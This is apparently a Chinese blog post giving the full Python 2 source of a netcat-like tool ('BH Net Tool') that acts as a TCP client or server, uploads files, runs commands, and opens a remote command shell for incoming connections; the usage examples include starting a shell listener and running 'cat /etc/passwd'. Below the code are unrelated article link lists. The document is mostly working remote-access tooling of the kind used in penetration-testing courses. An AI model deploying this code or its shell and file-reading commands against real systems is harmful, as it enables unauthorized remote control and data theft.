01 简介

netcat的主要功能是通过tcp或udp协议传输读写数据。

下面代码用python编写了tcp客户端,服务端,从而实现上传文件,本地执行命令,反弹shell三种功能。

02 代码

 import sys
import socket
import getopt
import threading
import subprocess listen = False #judge flag: client or server
target = "" #client: target_host(default = localhost), target_port
port = 0
upload = False #server: 3 functions of server
upload_destination = ""
execute = ""
command = False #-------------------------------------------------------------------------------------------client: target_host, target_port
def client_sender(buffer):
print '=========client on ======'
client = socket.socket(socket.AF_INET,socket.SOCK_STREAM) #c-1 socket try:
client.connect((target,port)) #c-2 connect if len(buffer):
client.send(buffer) while True: #c-3 loop = handle; handle = send + recv
recv_len = 1
response = "" #get response from server while recv_len:
data = client.recv(4096)
recv_len = len(data)
response = response + data if recv_len < 4096:
break print response, buffer = raw_input("")
buffer = buffer + "\n"
client.send(buffer) except:
print "[*] Exception ! Exiting."
client.close() #-------------------------------------------------------------------------------------------server:
def run_command(command):
command = command.rstrip() try:
output = subprocess.check_output(command,stderr=subprocess.STDOUT,shell=True)
except:
output = "Failed to execute command.\r\n" return output def client_handle(client_socket):
global upload
global execute
global command if len(upload_destination): #type1 upload
file_buffer = "" while True:
data = client_socket.recv(1024)
if not data:
break
else:
file_buffer = file_buffer + data try:
file_descriptor = open(upload_destination,"wb")
file_descriptor.write(file_buffer)
file_descriptor.close() client_socket.send("Successfully saved file to %s\r\n" % upload_destination)
except:
client_socket.send("Failed to save file to %s\r\n" % upload_destination) if len(execute): #type2 execute(local)
print execute
output = run_command(execute) client_socket.send(output) if command: #type3 command(remote)
while True:
client_socket.send("<BHP:#> ")
cmd_buffer = ""
while "\n" not in cmd_buffer:
cmd_buffer += client_socket.recv(1024) response = run_command(cmd_buffer)
client_socket.send(response) def server_loop():
print '=========server on ======'
global target
global port if not len(target):
target = "0.0.0.0" server = socket.socket(socket.AF_INET,socket.SOCK_STREAM) #s-1 socket server.bind((target,port)) #s-2 bind server.listen(5) #s-3 listen while True: #s-4 loop = accept + thread(handle) + start ; handle = recv + send
client_socket,addr = server.accept()
client_thread = threading.Thread(target=client_handle,args=(client_socket,))
client_thread.start() #-------------------------------------------------------------------------------------------main
def usage():
print "BH Net Tooll"
print
print "Usage: bhnet.py -t target_host -p port"
print "-l --listen -listen on [host]:[port] for incoming connections"
print "-e --execute=file_to_run -execute the given file upon receving a connection"
print "-c --command -initialize a command shell"
print "-u --upload=destination -upon receiving connection upload a file and write to [destination]"
print
print "Examples:"
print "bhnet.py -t 192.168.0.1 -p 5555 -l -c"
print "bhnet.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe"
print "bhnet.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\""
print "echo 'ABCDEFGHI' | ./bhnet.py -t 192.168.11.12 -p 135"
sys.exit(0) def main():
global listen
global execute
global command
global upload_destination
global upload
global target
global port if not len(sys.argv[1:]): #1 parse args
usage() try:
opts, args = getopt.getopt(sys.argv[1:],"hle:t:p:cu:",["help","listen","execute","target","port","command","upload"])
except getopt.GetoptError as err:
print str(err)
usage() for o,a in opts:
print "opts:" + o + " args:" + a
if o in ("-h","--help"):
usage()
elif o in ("-l","--listen"):
listen = True
elif o in ("-e", "--execute"):
execute = a
elif o in ("-c", "--commandshell"):
command = True
elif o in ("-u", "--upload"):
upload_destination = a
elif o in ("-t", "--target"):
target = a
elif o in ("-p", "--port"):
port = int(a)
else:
assert False,"Unhandled Option" if not listen and len(target) and port > 0: #as a client
buffer = sys.stdin.read()
client_sender(buffer) if listen: #as a server
server_loop() main()

【Python】Part1 应用1-Netcat的更多相关文章

  1. Python Socket,How to Create Socket Cilent? - 网络编程实例

    文章出自:Python socket – network programming tutorial by Silver Moon 原创译文,如有版权问题请联系删除. Network programin ...

  2. [补] 如何在windows下用IDA优雅调试ELF

    在windows下如何用IDA优雅调试ELF brief: 构建一个IDA-linux_server-docker镜像,优雅地IDA远程调试 使用传统虚拟机来运行一个linux程序就得跑一个完整的li ...

  3. 如何在windows下用IDA优雅调试ELF

    在windows下如何用IDA优雅调试ELF brief: 构建一个IDA-linux_server-docker镜像,优雅地IDA远程调试 使用传统虚拟机来运行一个linux程序就得跑一个完整的li ...

  4. [TimLinux] docker CentOS7 入门——容器(1)

    1. 编写Dockerfile # 将官方 Python 运行时用作父镜像 FROM python: # 将工作目录设置为 /app WORKDIR /app # 将当前目录内容复制到位于 /app ...

  5. 安全工具推荐之HackTools插件

    朋友推荐 链接:https://github.com/LasCC/Hack-Tools 一款多合一Chromium类红队浏览器插件,火狐也有对应版本 功能包括: 动态反向Shell生成器(PHP.Ba ...

  6. Apache Dolphin Scheduler - Dockerfile 详解

    Apache DolphinScheduler 是一个分布式去中心化,易扩展的可视化 DAG 工作流任务调度系统.简称 DS,包括 Web 及若干服务,它依赖 PostgreSQL 和 Zookeep ...

  7. 自动化测试 Appium之Python运行环境搭建 Part1

    Appium之Python运行环境搭建 Part1 by:授客 QQ:1033553122 实践环境 Win7 Python 3.4.0 JAVA JDK 1.8.0_121 node.js8.11. ...

  8. python实现netcat部分功能源代码

    #!/opt/local/bin/python2.7 import sys import socket import getopt import threading import subprocess ...

  9. 我的python渗透测试工具箱之自制netcat

    此工具的目的是实现在目标主机上的文件传输,控制命令行的功能,主要逻辑依靠python的subprocess模块.`sys`模块和`getopt`模块. 知识准备 studin和studut studi ...

随机推荐

  1. 2018.6.10数据结构串讲_HugeGun

    链接: https://pan.baidu.com/s/1uQwLZAT8gjENDWLDm7-Oig 密码: mk8p @echo off : ) shuju test test_ fc test. ...

  2. Why choose Nexiq USB-link 125032 Diesel Truck Diagnose

    Nexiq 125032 usb link is Diesel Truck diagnostic Interface. Nexiq truck scanner can compatible with ...

  3. [算法] 举一反三之n重复数组中找唯一m重复异类数

    n重复数组,是指数组中的数字都出现n次: 唯一m重复异类数,是指存在唯一一个没出现n次,只出现了m次的数: 这里我简记它为nX+my问题,求解y,其中m < n,数组中都是整数: 3X+y问题 ...

  4. 第十四节 JS面向对象基础

    什么是面向对象:在不需要知道它内部结构和原理的情况下,能够有效的使用它,比如,电视.洗衣机等也可以被定义为对象 什么是对象:在Java中对象就是“类的实体化”,在JavaScript中基本相同:对象是 ...

  5. Django回顾

    Django简介 Web框架本质 我们可以这样理解:所有的Web应用本质上就是一个socket服务端,而用户的浏览器就是一个socket客户端. 这样我们就可以自己实现Web框架了. 半成品自定义we ...

  6. 0x14哈希之兔子兔子

    参考链接:https://www.cnblogs.com/wyboooo/p/9813428.html 题目链接:https://www.acwing.com/problem/content/140/ ...

  7. [系统相关]WPS Office 2016 专业增强版 10.8.0.6470 免序列号无限制

    WPS Office (10.8.0.6470)  新增功能列表 ============================================= 改进功能列表 ------------ W ...

  8. 趋势:flex和grid使布局更简单

    前言:记不久前面试的时候,面试官问我平时用什么布局方式,我非常耿直的说 div+css,利用position,float等布局,这就是非常传统的布局方式,通常都要写比较多的css代码:前几天在知乎上看 ...

  9. script 修改 plist遇到的问题

    一个sh脚本每次build的时候动态修改info.plist文件 达到动态更改版本号的目的 但是估计是因为缓存的缘故 每次只有clean之后再运行才会修改成功 看script执行的log 好像是先修改 ...

  10. 《剑指offer》总结三 之二叉树(2)

    目录 23.二叉搜索树的后序遍历序列 26.二叉搜索树与双向链表(31ms,5756k) 23.二叉搜索树的后序遍历序列 题目描述: 输入一个整数数组,判断该数组是不是某二叉搜索树的后序遍历的结果.如 ...